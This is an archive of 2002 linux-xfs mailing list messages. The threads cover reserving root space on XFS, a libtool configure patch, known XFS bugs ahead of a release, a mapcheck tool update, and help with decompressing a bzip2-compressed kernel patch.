23 Aug 2002 15:05:31 +1000 From: Nathan Scott To: Jeffrey Hundstad Cc: linux-xfs@oss.sgi.com Subject: Re: reserve space for root? Message-ID: <20020823050531.GB449@frodo> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.2 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 11:42:07PM -0500, Jeffrey Hundstad wrote: > I've spent a little time looking and can't seem to find the mkfs.xfs > flags that will reserve a percentage of space JUST FOR A SPECIFIC UID. > This would be the corresponding behavior to a -m option on mkfs.ext2. > > Any way to adjust this after a mkfs.xfs? Like the tune2fs -m behavior? XFS doesn't provide an equivalent to this. > Any hints? You may be able to use quota to resolve this kind of issue. There was some discussion awhile ago about this on the list, I can't recall what other suggestions were made then - maybe some more info in the archive. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 22 23:29:43 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N6ThBM013974 for ; Thu, 22 Aug 2002 23:29:43 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N6Thke013973 for linux-xfs-outgoing; Thu, 22 Aug 2002 23:29:43 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N6TbBM013945 for ; Thu, 22 Aug 2002 23:29:37 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id XAA04527 for ; Thu, 22 Aug 2002 23:32:44 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA03323; Fri, 23 Aug 2002 16:31:25 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7N6VFGl001419; Fri, 23 Aug 2002 16:31:15 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7N6VFTl001417; Fri, 23 Aug 2002 16:31:15 +1000 Date: Fri, 23 Aug 2002 16:31:15 +1000 From: Nathan Scott To: Ben Rockwood Cc: linux-xfs@oss.sgi.com Subject: Re: PATCH: Confure.in Libtool location problem Message-ID: <20020823063115.GD449@frodo> References: <51144.12.213.184.155.1030014317.squirrel@cuddletech.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51144.12.213.184.155.1030014317.squirrel@cuddletech.dyndns.org> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hi Ben, On Thu, Aug 22, 2002 at 04:05:17AM -0700, Ben Rockwood wrote: > This p0 patch was created for the linux-2.4-xfs branch. It simply > adds /usr/local/bin to the search path for libtool. Going a step further > to add $PATH seemed like it could cause more problems than it would solve > down the road. Now that I look at it, an approach more consistent with the way we already check for other tools in unexpected places would be to use an environment variable - not sure why libtool was done differently, probably cos it was added later. I think I might do this slightly differently to your patch, but with a similar end result. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Fri Aug 23 00:17:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N7HoBM014554 for ; Fri, 23 Aug 2002 00:17:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N7HoT7014553 for linux-xfs-outgoing; Fri, 23 Aug 2002 00:17:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N7HjBM014525 for ; Fri, 23 Aug 2002 00:17:45 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id AAA06206 for ; Fri, 23 Aug 2002 00:20:54 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA36866 for linux-xfs@oss.sgi.com; Fri, 23 Aug 2002 17:19:37 +1000 (EST) Date: Fri, 23 Aug 2002 17:19:37 +1000 (EST) From: Nathan Scott Message-Id: <200208230719.RAA36866@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - configure.in X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Fri Aug 23 00:19:00 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:125796a cmd/acl/configure.in - 1.20 cmd/attr/configure.in - 1.11 cmd/xfsprogs/configure.in - 1.17 cmd/xfsdump/configure.in - 1.22 cmd/dmapi/configure.in - 1.16 - trivial change allowing LIBTOOL env var to specify where libtool lives, just the same as we do for other build tools. From owner-linux-xfs@oss.sgi.com Fri Aug 23 00:21:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N7LDBM014736 for ; Fri, 23 Aug 2002 00:21:13 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N7LD1d014735 for linux-xfs-outgoing; Fri, 23 Aug 2002 00:21:13 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N7L1BM014691 for ; Fri, 23 Aug 2002 00:21:02 -0700 Received: from auto-nb1.xs4all.nl (host-4.coltex.demon.nl [212.238.252.68]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7N7O9dl042948; Fri, 23 Aug 2002 09:24:09 +0200 (CEST) Message-Id: <4.3.2.7.2.20020823090501.0318b3f8@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 23 Aug 2002 09:22:56 +0200 To: Steve Lord , Andi Kleen From: Seth Mos Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <1030043567.10311.124.camel@jen.americas.sgi.com> References: <20020822210134.A11739@wotan.suse.de> <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> <1030042219.10044.107.camel@jen.americas.sgi.com> <20020822210134.A11739@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 14:12 22-8-2002 -0500, Steve Lord wrote: > > Could you quickly list them (just curious) ? > >Off the top of my head: > > hitting a bug in filemap.c unlocking an unlocked page, seems to > be lvm related. Needs fixes for a release. > corruption with the combination of fsx and heavy memory load > for an fs with a blocksize less than a page - does not happen > with the default 4K block size. The new blocksize is experimental and you could put a warning message in. > a hang in unmount, or remount readonly - I only see this on > my laptop after using some vpn software, but I do not think > the vpn is related. I cannot hit it elsewhere, but something > similar has been reported. Sounds complicated and hard to investigate. > the defragmenter seems to be able to go haywire and suck up > cpu time. Ongoing work, these things happen ;) > version 2 logs have some end cases to shake out - make a small > log and pound on metadata really hard. If I make a larger log > then I cannot hit this. Default the utilities for a release to a v1 log. If forcing a v2 log print a warning. > An oops in xfs_iget - or a hang depending on who you are, seems > to take very heavy load and a few cpus to hit. Needs fixing. >Thats enough for now! > >Steve Although some points need fixing, a 1.1.1 release without the newer functionality (or print a warning) might be a good idea. Bring out a 1.2 release when we are certain it is tested enough. I Currently have a shortage of hardware to test v2 logs and software raid5. Pursuing my manager for spares :) Using 2.4.19(ish) here on a couple machines have proved succesful so far. 2.4.19-rc3-xfs 9:14am up 24 days (Internet gateway,squid cache, webserver, mailserver 2Mbit, lightly loaded) 2.4.19-xfs 9:16am up 17 days (Test server nfs, samba, gigabit Ethernet, medium loaded) Without any fancy features the kernel is running fine. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Fri Aug 23 00:43:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N7h9BM015167 for ; Fri, 23 Aug 2002 00:43:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N7h9in015166 for linux-xfs-outgoing; Fri, 23 Aug 2002 00:43:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N7gxBM015134 for ; Fri, 23 Aug 2002 00:42:59 -0700 Received: from erbenson.alaska.net (21-pm33.nwc.alaska.net [209.112.159.21]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7N7k7tt044750 for ; Thu, 22 Aug 2002 23:46:07 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id DD5A93A0E for ; Thu, 22 Aug 2002 23:46:03 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 7042810294; Thu, 22 Aug 2002 23:46:04 -0800 (AKDT) Date: Thu, 22 Aug 2002 23:46:04 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: xfs_fsr and mmap problems Message-ID: <20020822234604.A24793@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200208211010.21746.wns@slc.unisys.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1yeeQ81UyVL57Vl7" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200208211010.21746.wns@slc.unisys.com>; from wns@slc.unisys.com on Wed, Aug 21, 2002 at 10:10:21AM -0600 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --1yeeQ81UyVL57Vl7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 21, 2002 at 10:10:21AM -0600, Warren Stockton wrote: >=20 > abbr. output from 1st mapcheck -v /: > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D > /var/ftp/lib/ld-2.2.90.so: Text file busy > /usr/bin/tee: Text file busy > /bin/bash: Text file busy > /home/wns/bin/mapcheck: Text file busy > /lib/ld-2.2.90.so: Text file busy > /sbin/init: Text file busy > /sbin/minilogd: Text file busy > 323569 files scanned 0 files fixed 7 errors ive made a few minor improvments to mapcheck, one is to make read-only mode really readonly, and thus capable of checking readonly mounted filesystems and busy files (these still cannot be repaired). by default when you specify -n in my version readonly mounted filesystems are scanned, to prevent that add -r or --skip-rofs i also fixed the bug where it did not properly skip swap partitions (instead bitched that none did not exist). http://penguinppc.org/~eb/files/mapcheck.c --=20 Ethan Benson http://www.alaska.net/~erbenson/ --1yeeQ81UyVL57Vl7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1l6DwACgkQJKx7GixEevxl8ACfaOabYzttv0pR/dsDpCuB3Pir e0cAn1VBehe2RhL5vIC2Pso4A1zc8Jgi =9Pu6 -----END PGP SIGNATURE----- --1yeeQ81UyVL57Vl7-- From owner-linux-xfs@oss.sgi.com Fri Aug 23 02:21:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N9LLBM016276 for ; Fri, 23 Aug 2002 02:21:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N9LLnO016275 for linux-xfs-outgoing; Fri, 23 Aug 2002 02:21:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N9LDBM016246 for ; Fri, 23 Aug 2002 02:21:14 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7N9ODY30818; Fri, 23 Aug 2002 11:24:14 +0200 Message-ID: <3D65FF3F.4080600@ima.pl> Date: Fri, 23 Aug 2002 11:24:15 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeffrey Hundstad CC: linux-xfs@oss.sgi.com Subject: Re: reserve space for root? References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Jeffrey Hundstad wrote: > I've spent a little time looking and can't seem to find the mkfs.xfs > flags that will reserve a percentage of space JUST FOR A SPECIFIC UID. > This would be the corresponding behavior to a -m option on mkfs.ext2. > > Any way to adjust this after a mkfs.xfs? Like the tune2fs -m behavior? > > Any hints? > AFAIK - only way you can do that is to use loop device and mount for that user a file of required size. Other way is to create separate partition - a bit better if such users is only few. Partition table is limited size. Regards, Blizbor From owner-linux-xfs@oss.sgi.com Fri Aug 23 07:44:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NEi2BM020790 for ; Fri, 23 Aug 2002 07:44:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NEi2gh020789 for linux-xfs-outgoing; Fri, 23 Aug 2002 07:44:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mercurymail.tm.net (mail.mercury.net [64.7.161.17]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NEhrBM020761 for ; Fri, 23 Aug 2002 07:43:54 -0700 Received: from minikerr (unverified [64.7.163.19]) by mercurymail.tm.net (Vircom SMTPRS 1.4.232) with ESMTP id for ; Thu, 22 Aug 2002 21:12:37 -0400 Received: from johnan (helo=localhost) by minikerr with local-esmtp (Exim 3.35 #1 (Debian)) id 17i2zD-0003oQ-00 for ; Thu, 22 Aug 2002 21:11:39 -0400 Date: Thu, 22 Aug 2002 21:11:39 -0400 (EDT) From: John Kerr Anderson X-X-Sender: johnan@minikerr To: linux-xfs@oss.sgi.com Subject: cannot uncompress patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=0.9 required=5.0 tests=URI_IS_POUND version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello, I have downloaded the patch xfs-1.1-2.4.18-all.patch.bz2 into the /usr/src directory, but cannot uncompress it at all. If I try to use the command minikerr:/usr/src# tar -jxvf xfs-1.1-2.4.18-all.patch.bz2 tar: This does not look like a tar archive tar: Skipping to next header tar: Archive contains obsolescent base-64 headers tar: Error exit delayed from previous errors minikerr:/usr/src# minikerr:/usr/src# gunzip xfs-1.1-2.4.18-all.patch.bz2 gunzip: xfs-1.1-2.4.18-all.patch.bz2: unknown suffix -- ignored minikerr: Can anyone help me or giving me pointers on how to uncompress this patch so it is usable? I've never had a problem like this before and it is rather frustrating. :-) Thanks in advance... John Kerr Anderson From owner-linux-xfs@oss.sgi.com Fri Aug 23 07:51:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NEpQBM021067 for ; Fri, 23 Aug 2002 07:51:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NEpQj0021066 for linux-xfs-outgoing; Fri, 23 Aug 2002 07:51:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NEpJBM021035 for ; Fri, 23 Aug 2002 07:51:20 -0700 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA63679; Fri, 23 Aug 2002 09:54:23 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.35 #1 (Debian)) id 17iFpO-0003w6-00; Fri, 23 Aug 2002 09:54:22 -0500 Date: Fri, 23 Aug 2002 09:54:22 -0500 From: Nathan Straz To: John Kerr Anderson Cc: linux-xfs@oss.sgi.com Subject: Re: cannot uncompress patch Message-ID: <20020823145421.GD20189@sgi.com> Mail-Followup-To: John Kerr Anderson , linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 09:11:39PM -0400, John Kerr Anderson wrote: > Hello, > > I have downloaded the patch xfs-1.1-2.4.18-all.patch.bz2 into the /usr/src > directory, but cannot uncompress it at all. If I try to use the command The .bz2 extention says the file was compressed by bzip2. So you should be able to decompress it with: bunzip2 xfs-1.1-2.4.18-all.patch.bzip2 There isn't a .tar in the filename so it isn't a tar file. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Fri Aug 23 07:52:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NEqJBM021217 for ; Fri, 23 Aug 2002 07:52:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NEqJWd021216 for linux-xfs-outgoing; Fri, 23 Aug 2002 07:52:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chaos.egr.duke.edu (chaos.egr.duke.edu [152.3.195.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NEqCBM021164 for ; Fri, 23 Aug 2002 07:52:12 -0700 Received: from localhost (jlb@localhost) by chaos.egr.duke.edu (8.11.6/8.11.6) with ESMTP id g7NEruN22389; Fri, 23 Aug 2002 10:53:56 -0400 X-Authentication-Warning: chaos.egr.duke.edu: jlb owned process doing -bs Date: Fri, 23 Aug 2002 10:53:56 -0400 (EDT) From: Joshua Baker-LePain X-X-Sender: jlb@chaos.egr.duke.edu To: John Kerr Anderson cc: linux-xfs@oss.sgi.com Subject: Re: cannot uncompress patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-2.5 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS,URI_IS_POUND version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 22 Aug 2002 at 9:11pm, John Kerr Anderson wrote > I have downloaded the patch xfs-1.1-2.4.18-all.patch.bz2 into the /usr/src > directory, but cannot uncompress it at all. If I try to use the command > > minikerr:/usr/src# tar -jxvf xfs-1.1-2.4.18-all.patch.bz2 > tar: This does not look like a tar archive > tar: Skipping to next header > tar: Archive contains obsolescent base-64 headers > tar: Error exit delayed from previous errors > minikerr:/usr/src# > > minikerr:/usr/src# gunzip xfs-1.1-2.4.18-all.patch.bz2 > gunzip: xfs-1.1-2.4.18-all.patch.bz2: unknown suffix -- ignored > minikerr: > > Can anyone help me or giving me pointers on how to uncompress this patch > so it is usable? I've never had a problem like this before and it is > rather frustrating. :-) bunzip2 xfs-1.1-2.4.18-all.patch.bz2 or: cd /usr/src/linux-2.4.18 bzcat xfs-1.1-2.4.18-all.patch.bz2 | patch -p1 -- Joshua Baker-LePain Department of Biomedical Engineering Duke University From owner-linux-xfs@oss.sgi.com Fri Aug 23 08:08:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NF8FBM022074 for ; Fri, 23 Aug 2002 08:08:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NF8Fih022071 for linux-xfs-outgoing; Fri, 23 Aug 2002 08:08:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NF86BM022040 for ; Fri, 23 Aug 2002 08:08:06 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA99277; Fri, 23 Aug 2002 10:11:09 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA43976; Fri, 23 Aug 2002 10:11:08 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7NFB2c06943; Fri, 23 Aug 2002 10:11:02 -0500 Subject: Re: reserve space for root? From: Steve Lord To: Jeffrey Hundstad Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 23 Aug 2002 10:11:01 -0500 Message-Id: <1030115461.6679.30.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.7 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 23:42, Jeffrey Hundstad wrote: > I've spent a little time looking and can't seem to find the mkfs.xfs > flags that will reserve a percentage of space JUST FOR A SPECIFIC UID. > This would be the corresponding behavior to a -m option on mkfs.ext2. > > Any way to adjust this after a mkfs.xfs? Like the tune2fs -m behavior? > > Any hints? Well, as others have pointed out, XFS does not have this capability, I am not sure quotas are really the answer since they work the other way around, everyone is told how much space they can have, not how much space they cannot have. One thing I would like to point out about this sort of thing, and this is not directed at you directly Jeffrey, is that we are open to outside contributions to the file system. We get a lot of folks asking for stuff in XFS, a lot of people pointing out problems, and a lot of people saying they like it, and a fair number of commercial concerns basing products around XFS. We do not get very much in the way of fixes or patches from people. In fact I could probably count on one hand the number of major kernel contributions we have had (Christoph does not count, we are paying him). I know 99.9% of the folks out there are not developers, but some are, and some are capable of doing this. Folks here at SGI have put a lot of time into this project, including a lot of their own time. So think about it sometime. We now return to our regularly scheduled programming...... Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 23 08:13:48 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NFDlBM022274 for ; Fri, 23 Aug 2002 08:13:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NFDlnl022273 for linux-xfs-outgoing; Fri, 23 Aug 2002 08:13:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NFDUBM022244 for ; Fri, 23 Aug 2002 08:13:31 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id 82323C267; Fri, 23 Aug 2002 16:53:07 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id QAA20655; Fri, 23 Aug 2002 16:53:06 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 6072F57306; Fri, 23 Aug 2002 16:52:31 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id 2A4A225835; Fri, 23 Aug 2002 16:52:31 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 722F430881D; Fri, 23 Aug 2002 16:52:30 +0200 (CEST) Message-ID: <3D664C2E.513EE37@ch.sauter-bc.com> Date: Fri, 23 Aug 2002 16:52:30 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: John Kerr Anderson Cc: linux-xfs@oss.sgi.com Subject: Re: cannot uncompress patch References: Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.9 required=5.0 tests=URI_IS_POUND version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk John Kerr Anderson schrieb: > > Hello, > > I have downloaded the patch xfs-1.1-2.4.18-all.patch.bz2 into the /usr/src > directory, but cannot uncompress it at all. If I try to use the command > > minikerr:/usr/src# tar -jxvf xfs-1.1-2.4.18-all.patch.bz2 > tar: This does not look like a tar archive > tar: Skipping to next header > tar: Archive contains obsolescent base-64 headers > tar: Error exit delayed from previous errors > minikerr:/usr/src# > > minikerr:/usr/src# gunzip xfs-1.1-2.4.18-all.patch.bz2 > gunzip: xfs-1.1-2.4.18-all.patch.bz2: unknown suffix -- ignored bunzip2 xfs-1.1-2.4.18-all.patch.bz2 > minikerr: > > Can anyone help me or giving me pointers on how to uncompress this patch > so it is usable? I've never had a problem like this before and it is > rather frustrating. :-) > > Thanks in advance... > > John Kerr Anderson From owner-linux-xfs@oss.sgi.com Fri Aug 23 08:55:30 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NFtUBM026315 for ; Fri, 23 Aug 2002 08:55:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NFtUNh026314 for linux-xfs-outgoing; Fri, 23 Aug 2002 08:55:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf06bis.bellsouth.net (mail006.mail.bellsouth.net [205.152.58.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NFtGBM026269 for ; Fri, 23 Aug 2002 08:55:17 -0700 Received: from TAZ2 ([66.156.4.66]) by imf06bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020823155958.ZROQ1228.imf06bis.bellsouth.net@TAZ2>; Fri, 23 Aug 2002 11:59:58 -0400 Date: Fri, 23 Aug 2002 11:57:10 -0400 From: Greg Freemyer Subject: re[2]: Summary - Snapshot Effort To: Eric Sandeen cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020823155958.ZROQ1228.imf06bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7NFtHBM026286 X-Spam-Status: No, hits=-0.4 required=5.0 tests=SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric, I am not anxious to 